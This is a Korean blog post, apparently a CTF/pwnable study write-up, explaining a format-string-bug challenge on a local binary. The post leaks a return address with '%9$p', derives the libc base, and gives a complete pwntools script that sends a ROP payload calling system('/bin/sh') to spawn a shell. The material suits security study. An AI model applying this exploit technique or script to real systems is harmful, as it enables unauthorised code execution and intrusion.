FSB 문제 풀이 (1)

2021. 8. 1. 21:48Layer7/Pwnable

728x90

- 소스코드 분석

 

main() 함수

우선 format이라는 크기 0x10 크기의 char형 배열이 있습니다.

이 배열에 입력을 받고, printf() 함수로 출력을 해준 뒤에 다시 read로 입력을 받습니다.

 

그런데 여기서 printf() 함수를 보면 포맷 스트링이 없는 것을 볼 수 있습니다.

포맷 스트링이 없다는 건 FSB 취약점이 발생한다는 거죠.

 

소스코드 자체는 간단해서 이 정도만 분석해도 될 것 같습니다.

 

이제 return address에 있는 값을 leak 해보겠습니다.

 

우선 레지스터의 개수는 RSI, RDX, RCX, R8, R9 이렇게 5개가 있습니다.

여기에 ret의 위치를 1개 더하면 6이 됩니다.

그리고 sfp 직전까지 가야 하니 6에 (0x10/8)을 더합니다.

그러면 8이 되고, 거기에 sfp의 크기인 1을 추가하면 9가 됩니다.

 

여기서 ret addr를 leak 하려면 실행파일을 실행한 후, %(위에서 구한 개수)$p를 입력하면 됩니다.

 

ret addr 확인

그럼 system() 함수를 호출하기 위해서 우선 필요한 것들을 계산해보겠습니다.

저기 있는 ret addr은 __libc_start_main의 주소이므로 offset을 빼주면 libc_base를 만들 수 있습니다.

 

libc_base = ret addr - libc.symbols['__libc_start_main']

 

이 계산식을 사용해서 익스코드를 짜고 있었으나, 뭔가 이상함을 느껴 저 주소 값의 위치를 다시 한번 gdb로 봤습니다.

알고 보니 그냥 <__libc_start_main>이 아니라 <__libc_start_main+240>이더라구요.

계산식을 다시 수정해보겠습니다.

 

libc_base = ret addr - libc.symbols['__libc_start_main']-240

 

그럼 익스코드를 작성해보겠습니다.

 

# -*- coding: utf-8 -*-

from pwn import *

p=process('./fsb')
e=ELF('./fsb')

libc=e.libc
bss=e.bss()
p_rdi=0x400803
system=libc.symbols['system']

p.send('%9$p\n')

ret_addr=int(p.recv(20),16)

libc_base=ret_addr-libc.symbols['__libc_start_main']-240

a=libc.search('/bin/sh\x00').next()
pay='a'*0x10+'b'*0x8+p64(p_rdi)+p64(libc_base+a)+p64(libc_base+system)

p.send(pay)

p.interactive()

 

처음에는 아까 얻은 ret addr를 직접 손으로 변수에 넣어서 사용하려 했지만, 그냥 입력 넣고 깔끔하게 받는 게 편할 것 같아서 send로 명령어를 보내고 p.recv()로 받아왔습니다.

 

이거 하나 쓰는데 EOFerror도 나고 한글 인코딩 에러도 나고.....

쓰면서 뭔가 좀 많이 꼬였습니다.

 

+) 한글 인코딩 에러는 아래에 나와있는 글을 보고 해결했습니다. notstop 블로그 관리자님, 감사합니다!

[ 파이썬 Python 실행 오류 Non-ASCII character ‘xec’ 한글 인코딩 에러 ]

 

파이썬 Python 실행 오류 Non-ASCII character ‘xec’ 한글 인코딩 에러 - Code Hunter

Non-ASCII character ‘xec’ 에러는 소스에 포함된 한글 때문에 인코딩 과정에서 발생한 것입니다. 해결법은 간단합니다. 파이썬 제일 상단에 인코딩 명령어를 입력하는 것입니다. CentOS 파이썬 실행

notstop.co.kr

728x90

'Layer7 > Pwnable' 카테고리의 다른 글

FSB 문제 풀이 (2)  (0) 2021.08.03
여러가지 ROP 문제 풀이  (0) 2021.08.01
Pwndbg 동적 디버깅으로 RTL 32bit, RTL 64bit 풀기 - Ubuntu Linux  (0) 2021.07.19
PLT와 GOT  (0) 2021.07.17